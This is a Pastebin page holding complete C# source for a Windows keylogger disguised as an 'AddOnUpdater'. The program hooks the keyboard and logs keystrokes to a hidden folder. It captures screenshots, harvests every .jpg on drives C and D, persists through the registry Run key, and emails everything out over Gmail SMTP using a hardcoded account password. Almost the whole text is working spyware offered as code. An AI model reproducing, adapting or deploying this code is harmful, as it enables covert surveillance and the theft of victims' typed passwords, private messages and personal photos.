Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.Win32;
- using System;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.Drawing;
- using System.Drawing.Imaging;
- using System.IO;
- using System.Net;
- using System.Runtime.InteropServices;
- using System.Text;
- using System.Text.RegularExpressions;
- using System.Windows.Forms;
- namespace AddOnUpdater
- {
- class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private static LowLevelKeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess())
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
- GetModuleHandle(curModule.ModuleName), 0);
- }
- }
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook,
- LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
- IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- [DllImport("kernel32.dll")]
- static extern IntPtr GetConsoleWindow();
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- const int SW_HIDE = 0;
- static IEnumerable<string> Search(string root, string searchPattern)
- {
- Queue<string> dirs = new Queue<string>();
- dirs.Enqueue(root);
- while (dirs.Count > 0)
- {
- string dir = dirs.Dequeue();
- // files
- string[] paths = null;
- try
- {
- paths = Directory.GetFiles(dir, searchPattern);
- }
- catch { } // swallow
- if (paths != null && paths.Length > 0)
- {
- foreach (string file in paths)
- {
- yield return file;
- }
- }
- // sub-directories
- paths = null;
- try
- {
- paths = Directory.GetDirectories(dir);
- }
- catch { } // swallow
- if (paths != null && paths.Length > 0)
- {
- foreach (string subDir in paths)
- {
- dirs.Enqueue(subDir);
- }
- }
- }
- }
- static void MailIt(string _startupMessage)
- {
- string _msg;
- if (_startupMessage == "" | _startupMessage == null |
- _startupMessage == "nomsg" | _startupMessage == "attchmnt")
- {
- StreamReader sr = new StreamReader(@"C:\AddonUpdater\systeminformation.txt");
- _msg = sr.ReadToEnd();
- sr.Close();
- }
- else
- _msg = _startupMessage;
- System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
- System.Net.NetworkCredential cred = new System.Net.NetworkCredential("sz.adam.87@gmail.com", "t3jszinhabosDiosretes");
- mail.To.Add("sz.adam.87@gmail.com");
- mail.Subject = "AddonUpdater Report";
- mail.From = new System.Net.Mail.MailAddress("sz.adam.87@gmail.com");
- mail.IsBodyHtml = true;
- mail.Body = _msg;
- if (File.Exists(@"C:\AddonUpdater\attchmnt.jpg") & _startupMessage == "attchmnt")
- {
- System.Net.Mail.Attachment mailAttachment =
- new System.Net.Mail.Attachment(@"C:\AddonUpdater\attchmnt.jpg");
- mail.Attachments.Add(mailAttachment);
- }
- else
- {
- try
- {
- System.Net.Mail.Attachment mailAttachment2 =
- new System.Net.Mail.Attachment(_startupMessage);
- mail.Attachments.Add(mailAttachment2);
- }
- catch
- {
- }
- }
- System.Net.Mail.SmtpClient smtp =
- new System.Net.Mail.SmtpClient("smtp.gmail.com");
- smtp.UseDefaultCredentials = false;
- smtp.EnableSsl = true;
- smtp.Credentials = cred;
- smtp.Port = 587;
- smtp.Send(mail);
- mail.Dispose();
- }
- static void CurrentDomain_ProcessExit(object sender, EventArgs e)
- {
- Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", "True");
- }
- #region ExitHandler
- private static bool isclosing = false;
- [DllImport("Kernel32")]
- public static extern bool SetConsoleCtrlHandler(HandlerRoutine Handler, bool Add);
- public delegate bool HandlerRoutine(CtrlTypes CtrlType);
- public enum CtrlTypes
- {
- CTRL_C_EVENT = 0,
- CTRL_BREAK_EVENT,
- CTRL_CLOSE_EVENT,
- CTRL_LOGOFF_EVENT = 5,
- CTRL_SHUTDOWN_EVENT
- }
- private static bool ConsoleCtrlCheck(CtrlTypes ctrlType)
- {
- // Put your own handler here
- switch (ctrlType)
- {
- case CtrlTypes.CTRL_C_EVENT:
- isclosing = true;
- Console.WriteLine("CTRL+C received!");
- break;
- case CtrlTypes.CTRL_BREAK_EVENT:
- isclosing = true;
- Console.WriteLine("CTRL+BREAK received!");
- break;
- case CtrlTypes.CTRL_CLOSE_EVENT:
- isclosing = true;
- Console.WriteLine("Program being closed!");
- break;
- case CtrlTypes.CTRL_LOGOFF_EVENT:
- case CtrlTypes.CTRL_SHUTDOWN_EVENT:
- isclosing = true;
- Console.WriteLine("User is logging off!");
- break;
- }
- return true;
- }
- #endregion
- static void Main(string[] args)
- {
- SetConsoleCtrlHandler(new HandlerRoutine(ConsoleCtrlCheck), true);
- var handle = GetConsoleWindow();
- //ShowWindow(handle, SW_HIDE);
- if (!Directory.Exists(@"C:\AddonUpdater\"))
- {
- DirectoryInfo di = Directory.CreateDirectory(@"C:\AddonUpdater\");
- di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
- }
- if (!File.Exists(@"C:\AddonUpdater\systeminformation.txt"))
- {
- MailIt("Mission accomplished, we're in! :)");
- }
- if (!File.Exists(@"C:\AddonUpdater\AddOnUpdater.exe"))
- {
- File.Copy(Application.StartupPath + @"\AddOnUpdater.exe",
- @"C:\AddonUpdater\AddOnUpdater.exe");
- Process.Start(@"C:\AddonUpdater\AddOnUpdater.exe");
- Environment.Exit(0);
- }
- if (Registry.GetValue(
- @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
- "AddonUpdater", null) == null)
- Registry.SetValue(
- @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
- "AddOnUpdater", @"C:\AddonUpdater\AddOnUpdater.exe");
- if (Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", null) == null |
- (Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun",
- null)).ToString() == "True")
- {
- Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\AOU\", "FirstRun", "False");
- try
- {
- foreach (string match in Search("c:\\", "*.jpg"))
- {
- MailIt(match);
- }
- foreach (string match in Search("d:\\", "*.jpg"))
- {
- MailIt(match);
- }
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex);
- }
- }
- _hookID = SetHook(_proc);
- Application.Run();
- UnhookWindowsHookEx(_hookID);
- }
- private delegate IntPtr LowLevelKeyboardProc(
- int nCode, IntPtr wParam, IntPtr lParam);
- private static IntPtr HookCallback(
- int nCode, IntPtr wParam, IntPtr lParam)
- {
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
- {
- int vkCode = Marshal.ReadInt32(lParam);
- Console.WriteLine((Keys)vkCode);
- StreamWriter sw = new StreamWriter(@"C:\AddonUpdater\systeminformation.txt", true);
- if (Regex.IsMatch(((Keys)vkCode).ToString(), "Space"))
- {
- string _newKey = " ";
- sw.Write(_newKey);
- sw.Close();
- }
- else
- {
- sw.Write((Keys)vkCode);
- sw.Close();
- }
- StreamReader sr = new StreamReader(@"C:\AddonUpdater\systeminformation.txt");
- string _counter = sr.ReadToEnd();
- sr.Close();
- if (_counter.Length >= 512)
- {
- try
- {
- File.Delete(@"C:\AddonUpdater\attchmnt.jpg");
- }
- catch
- {
- }
- try
- {
- int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
- int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
- Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
- Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
- gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
- bmpScreenShot.Save(@"C:\AddonUpdater\attchmnt.jpg", ImageFormat.Jpeg);
- gfx.Dispose();
- }
- catch
- {
- }
- MailIt("nomsg");
- StreamWriter sw2 = new StreamWriter(@"C:\AddonUpdater\systeminformation.txt");
- sw2.WriteLine("");
- sw2.Close();
- File.Delete(@"C:\AddonUpdater\attchmnt.jpg");
- }
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
- }
- }
- }
Add Comment
Please, Sign In to add comment